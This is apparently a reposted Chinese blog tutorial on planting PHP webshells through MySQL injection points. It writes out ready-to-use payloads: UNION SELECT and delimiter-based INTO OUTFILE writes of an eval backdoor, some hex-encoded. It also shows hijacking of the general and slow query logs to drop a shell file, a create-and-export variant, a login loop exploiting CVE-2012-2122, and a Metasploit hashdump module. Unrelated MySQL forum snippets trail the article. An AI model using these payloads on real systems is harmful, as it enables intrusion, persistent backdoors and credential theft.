mysql—注入点获取WebShell的几种方式

2023-11-09

利用条件

  • 1.有写文件条件
    • secure-file-priv(show variables) 要么禁用,要么设置了路径 show variables like '%secure%'
    • 目录权限 对于MySQL来说,有可以对某个目录进行读写的权限
    • Selinux 是2.6版本的Linux内核中提供的强制访问控制(MAC)系统
  • 2.知道绝对路径
  • 3.PHP的GPC为 off状态,或者在开启gpc的情况下,可以通过十六进制的路径读写文件
  • 4.查看当前数据库用户是否有File权限 select group_concat(user,0x3a,file_priv) from mysql.user; //出现Y,这就代表你有文件权限,N就是没有

获取webshell方法

1、利用Union select 写入

这是最常见的写入方式,union select 跟 into outfile,将一句话写入,仅适用于联合注入

举例:

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile '绝对路径'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "绝对路径"

into outfile ’ ’ 或者 into dumpfile ’ ’ //写文件操作

union select 1,2,'aaa' into outfile 'c:\\phpstudy_pro\\www\\test1.txt'
union select 1,2,'aaa' into dumpfile 'c:\\phpstudy_pro\\www\\test1.txt'

写入内容可以用hex值

union select 1,2,'0x616161' into dumpfile 'c:\\phpstudy_pro\\www\\test1.txt' 

写入内容可以用ascii值

union select 1,2,'CHAR(97,97,97)' into dumpfile 'c:\\phpstudy_pro\\www\\test1.txt'

2、基于非Union select查询,利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

举例:

select * from users where id =1 into outfile 'c:/tmp/1.txt' lines terminated by '<? phpinfo(); ?>';

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by '一句话hex编码'#
?id=1 INTO OUTFILE '物理路径' fields terminated by '一句话hex编码'#
?id=1 INTO OUTFILE '物理路径' columns terminated by '一句话hex编码'#
?id=1 INTO OUTFILE '物理路径' lines starting by '一句话hex编码'#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

  • 这种方式基本上在windows系统下才会成功,在linux下由于写入weishell的为吗,mysql,http服务器没有权限对他访问。
  • 具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
#查看配置
show variables like '%general%';

#开启general log模式                                 
set global general_log = on;

#设置日志目录为shell地址
set global general_log_file = 'c:/phpstudy/WWW/haha.php';

#写入shell
select '<?php eval($_REQUEST["hahaha"]);?>';

#关闭general log模式  
set global general_log=off;

4、利用慢查询日志

慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。

#查看服务器默认时间值方式如下:
show global variables like '%long_query_time%';

# 查询慢日志功能以及慢日志目录
show variables like '%slow_query_log%';

# 开启慢日志功能
set global slow_query_log = 'ON';

# 设置慢日志路径
set global slow_query_file = 'D:/phpstury/www/shell.php';

#写入shell
select '<?php eval($_REQUEST["hahaha"]);?>';

# 关闭慢日志功能
set global slow_query_log = 'OFF';

5.基于创建再导出的方法(类似方法1)

# 连接test数据库  
use test;
# 搜索并删除存在的testhahaha这个表
drop table if exists testhahaha;
# 创建这个表,在里边加个字段hahaha
create table testhahaha(hahaha text not null);
# 在里面写入一句话
insert into testhahaha(hahaha) values ('<?php phpinfo(); ?>');
# 然后把这句话导出来
select hahaha from testhahaha into outfile 'D:/2.txt';
# 然后删除表
drop tan testhahaha;  

6.CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

msf里面的脚本

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

mysql—注入点获取WebShell的几种方式 的相关文章

  • 无法使用 PDO 插入 MySQL 数据库...没有错误

    我遇到一个问题 无法使用 PDO 将任何内容插入 MySQL 数据库 我没有收到任何错误 但每当我检查数据库是否已插入行时 表都是空的 我知道我有一个到数据库的连接 因为我可以选择但不能插入 这是我扩展 PDO 的类 class Datab
  • mysql select sql 中的竞争条件

    我试图完成的事情看起来很简单 数据库类型 MyISAM表结构 card id status查询 从表中选择一个未使用的card id 并将该行设置为 已使用 当两个查询同时运行并且状态更新之前 相同的card id被获取两次 这是否是竞争条
  • Django 管理员 - 登录

    我正在建造一个Django Web App 与 Django Suit 用于管理界面 已经让 Python 2 7 Django 1 10 和 MySQL 和谐通信并启动了一个项目 python m django admin startpr
  • 这个 SQL DELETE FROM 语法有什么问题?

    我正在尝试删除 96k 记录 删除表 xoops bb posts text 页面中没有与 xoops bb posts 匹配的 post id 的所有记录 此查询返回 91k 条记录 SELECT FROM xoops bb posts
  • 当数据表输入来自服务器的 JSON 数据时,更改 Google 图表栏颜色

    我一直在努力使用谷歌图表 API 我在 SO 上发现了这个出色的例子PHP MySQL Google Chart JSON 完整示例 https stackoverflow com questions 12994282 php mysql
  • 如果列有多个逗号分隔值,如何过滤 mysql 数据?

    我想问如果检查条件以查找具有多个逗号分隔值的列 如何过滤 mysql 数据 我给你举个例子 我有下表说 tbitems id item names item types item features 1 item 1 8 6 10 5 4 9
  • SQL 检查一组日期是否在指定的日期范围内

    我有一个表 其中保存架构中房间不可用的日期 ROOM ID DATE UNAVAILABLE 我需要一个 sql 查询来检查两个日期范围内是否有可用房间 类似于 Select All rooms that are constantly av
  • 如何使PHP中的激活链接过期?

    我有一个 php 脚本 它通过电子邮件向用户发送激活链接 以便他们可以激活他们的帐户 链接是这样的 mysite com activation phpid id 20 如何创建 24 小时后过期的链接 我还没有尝试过任何东西 因为我找不到任
  • MySQL 与 PHP 的连接无法正常工作

    这是我的情况 我正在尝试使用 Apache 服务器上的 PHP 文件连接到 MySQL 数据库 现在 当我从终端运行 PHP 时 我的 PHP 可以连接到 MySQL 数据库 使用 php f file php 但是当我从网页执行它时 它只
  • MySQL InnoDB 查询性能

    我正在尝试优化一个简单的 sql 查询 该查询将多次运行大量数据 这是场景 MySQL 与 InnoDB 表 where 和 join 中使用的所有字段都已索引 表有 FK 我不需要查询的整个缓存 但每个表的缓存是可能的 表有更多的更新 插
  • 使用唯一索引删除重复项

    我在两个表字段 A B C D 之间插入 相信我已经在 A B C D 上创建了唯一索引以防止重复 然而我以某种方式简单地对这些做了一个正常的索引 因此插入了重复项 这是2000万条记录的表 如果我将现有索引从普通索引更改为唯一索引 或者只
  • 使用按位函数查询 BIT 字段时,MySQL 不使用索引

    我的 MySQL 表中有一个 BIT 类型的字段 我想使用位值存储记录的状态 例如 1 status1 2 status2 4 status3 8 status4 每条记录可以同时具有多种状态 对于 status1 和 status3 该值
  • 如何将 MySQL 数据库更改为 UTC?

    我使用的是 Windows 7 对数据库方面的东西有点陌生 我尝试在 Google 上搜索如何将系统时区更改为 UTC 但文档有些高级 我不太确定如何更改此字段 在 my ini 文件的 mysqld 部分下 添加以下行 default t
  • PHP 选择后立即删除

    我有一个 PHP 服务器脚本 它从 MySQL 数据库中选择一些数据 一旦我将 mysql query 和 mysql fetch assoc 的结果存储在我自己的局部变量中 我就想删除我刚刚选择的行 这种方法的问题在于 PHP 似乎对我的
  • 对于数据库来说,选择正确的数据类型会影响性能吗?

    如果是这样 为什么 我的意思是 tinyint 的搜索速度比 int 快吗 如果是这样 性能上的实际差异是什么 是的 根据数据类型 它确实有所不同 int vs tinyint不会在速度上产生明显的差异 但会在数据大小上产生差异 假设tin
  • 如何在 phpmyadmin 中创建 MySQL 触发器

    我想在 MySQL 中创建一个触发器 我运行以下命令 mysql gt delimiter mysql gt CREATE TRIGGER before insert money BEFORE INSERT ON money gt FOR
  • Mysql innoDB 不断崩溃[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我的数据库 mysql 服务器不断崩溃 重新启动 我不知道该怎么办 我不断在 dbname org err 文件中收到以下内容 13120
  • 为什么 MySQL 创建带有 _seq 后缀的表?

    我创建了一个 InnoDB 表 名为foo在 MySQL 中 一旦我对表执行插入操作 我就会看到另一个表foo seq被建造 如果我删除自动生成的表 它会在下一次插入后出现 是什么原因造成的 听起来像是正在创建一个序列 您是否有自动生成的主
  • 无法启动 MySQL 服务器 - 控制进程退出并出现错误代码

    我的 mysql 服务器停止后无法启动 命令使用 sudo etc init d mysql restart Error 重新启动 mysql 通过 systemctl mysql serviceJob for mysql service
  • 如何在 Laravel 查询中使用多个 OR,AND 条件

    我需要 Laravel 查询帮助 我的自定义查询 返回正确结果 Select FROM events WHERE status 0 AND type public or type private 如何写这个查询Laravel Event w

随机推荐

  • mysql jdbc reconnect,MySQL JDBC Timeout and AutoReconnect

    24 4 5 3 4 I have a servlet application that works fine for a day and then stops working overnight MySQL closes connecti
  • 教你Ubuntu安装python3.7,并更新python默认指向

    Ubuntu默认的python版本一般为python 2 x 因此需要手动安装自己需要的版本 并且将python的指向更新为自己的版本 先查看当前python的指向 ls l usr bin grep python 因为我这里已经安装好了p
  • 大型公司网络构建拓扑图(华为)

    今天简单了解一下 大型公司的网络搭建 对于很多大型公司来讲 网络的稳定性 会直接影响到公司的收益 比如 双十一的阿里巴巴 京东 等等 如果这个时候网络出现问题 对于公司的损失将会是不可估量的 可见公司网络稳定 对公司的重要性了 那接下来就给
  • 小鱼深度产品测评之:阿里云新款通用算力型ECS云服务器Universal实例,实力与能力并存的一款产品。

    ECS U实例评测 1 引言 2 购买流程 3 向导展示 4 实例 4 1 创建实例 4 2 迁移上云 4 3 查询功能 4 3 1 下拉框选项 4 3 2 查询结果保存 4 4 默认定位 4 5 分组 4 6 监控 4 6 1 查看监控大
  • Qt防止重复调用

    QT中要用到 类似按键防抖static void func to debounce int a qDebug lt lt a 1 lt lt debounce test 需要实现的函数 static void debounce test f
  • Dice系数(Dice coefficient)与mIoU与Dice Loss

    Dice系数和mIoU是语义分割的评价指标 在这里进行了简单知识介绍 讲到了Dice顺便在最后提一下Dice Loss 以后有时间区分一下在语义分割中两个常用的损失函数 交叉熵和Dice Loss 一 Dice系数 1 概念理解 Dice系
  • 在java中插入gif_在java程序中显示gif图片的代码

    import java awt import java awt image public class ImageCanvas extends Canvas Image image public ImageCanvas String name
  • rsync 未授权访问漏洞

    雨笋教育小编来分享干货了 感兴趣的可以一同探讨 0x00前言 rsync是Linux下一款数据备份工具 支持通过rsync协议 ssh协议进行远程文件传输 0x01漏洞原理 rsync协议默认监听873端口 如果目标开启了rsync服务 并
  • BUCK BOOST以及Charge Pump电路原理

    下文为个人总结三种常见的开关电源 如有疑问欢迎评论区讨论 BUCK 当开关管Q1驱动为高电平时 开关管导通 储能电感L1被充磁 流经电感的电流线性增加 同时给电容C1充电 给负载R1提供能量 当开关管Q1驱动为低电平时 开关管关断 储能电感
  • hivesql解析json格式的key与value

    目录 解析json格式中的key 解析json格式中的value json格式示例 city code 340100 county code 340111 orientation 东 road id 35204271 speed 35 72
  • NNDL 实验六 卷积神经网络(3)LeNet实现MNIST

    目录 5 3 基于LeNet实现手写体数字识别实验 5 3 2 模型构建 5 3 3 模型训练 5 3 4 模型评价 5 3 5 模型预测 使用前馈神经网络实现MNIST识别 与LeNet效果对比 选做 可视化LeNet中的部分特征图和卷积
  • docker安装redis Docker安装redis docker安装Redis 详细教程

    docker安装redis Docker安装redis docker安装Redis 详细教程 Docker 上安装 Redis 的步骤 选择要安装的Redis版本 1 拉取 Redis 镜像 2 创建并运行容器 创建 redis conf
  • 02-linux安装nodejs

    1 前期准备 1 Node js简介 简单的说 Node js 就是运行在服务端的 JavaScript Node js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境 Node js 使用了一个事件驱动 非阻塞式
  • 组态王、力控、MCGS、瑞尔、杰控等国内组态软件一点看法

    2005年08月28日 23 26 00 从结构上说 组态王和MCGS一样 前台动画和后台集成在一起 在运行模式下一起运行 而力控 瑞尔却分为后台驱动 实时数据库 前台三部分组成 更为有意思的是 瑞尔的每一个驱动就是一个EXE 其驱动DLL
  • Spring 中的事件监听机制

    目录 1 标准的 Spring 事件机制 1 ApplicationEvent 自定义事件 2 ApplicationEventPublisher 发布事件 3 ApplicationListener 监听事件 2 基于 EventList
  • 嵌入式与人工智能关系_嵌入式人工智能的发展趋势

    嵌入式与人工智能关系 嵌入式人工智能的发展趋势 所谓嵌入式人工智能 就是设备无须联网通过云端数据中心进行大规模计算去实现人工智能 而是在本地计算 在不联网的情况下就可以做实时的环境感知 人机交互 决策控制 那么嵌入式与人工智能关系是什么 嵌
  • spark学习6:应用程序的打包部署

    standlone 集群模式下 提交应用后 可以在浏览器中输入 spark master 8080 查看执行情况 yarn集群模式下 提交应用程序 提交后 可以在tracking URL 中查看记录 如下图 ps 在 spark shell
  • python项目实现配置统一管理的方法

    一个比较大的项目总是会涉及到很多的参数 最好的方法就是在一个地方统一管理这些参数 最近看了不少的python项目 总结了两种很有意思的配置管理方法 第一种 基于easydict实现的配置管理 首先需要安装numpy easydict以及ya
  • jmeter性能测试输出html报告

    前言 jmeter在界面模式下执行性能测试会占用大量的系统资源 导致测试数据不准确 为了减少系统资源的占用 我们建议在cmd 即非GUI模式 模式输入命令 进行性能测试 jmeter自带输出html测试报告功能 1 准备 写好脚本 2 在j
  • mysql—注入点获取WebShell的几种方式

    利用条件 1 有写文件条件 secure file priv show variables 要么禁用 要么设置了路径 show variables like secure 目录权限 对于MySQL来说 有可以对某个目录进行读写的权限 Sel